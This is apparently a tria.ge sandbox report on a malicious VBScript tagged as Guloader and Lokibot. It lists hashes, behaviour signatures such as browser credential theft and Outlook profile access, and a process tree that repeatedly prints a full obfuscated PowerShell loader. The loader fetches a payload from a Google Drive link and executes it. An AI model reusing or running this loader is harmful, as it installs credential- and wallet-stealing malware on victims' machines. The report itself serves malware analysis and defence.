Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/09/2024, 01:39

General

  • Target

    d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs

  • Size

    33KB

  • MD5

    cd0669221e6722bb84542cc73f29a482

  • SHA1

    3fdaefe57d23b8091b944a31604ad19e147a8ddf

  • SHA256

    d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74

  • SHA512

    48f1f862758fc879b5eb22d601fd1fe57af006c3b12779b86d6370b17c671375a019683abc99a60651ef44b633bb33d68f993f81026bf0df34b55d347d06f5ec

  • SSDEEP

    384:Z9vOg3vacyZnIr8hWY/NeNz7trA4qAGkespLV5SEGOiOUvT4drEhN4Q:Zp3vcWY/UzOkelSVrwD

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"
        3⤵
          PID:3104
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2448
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn 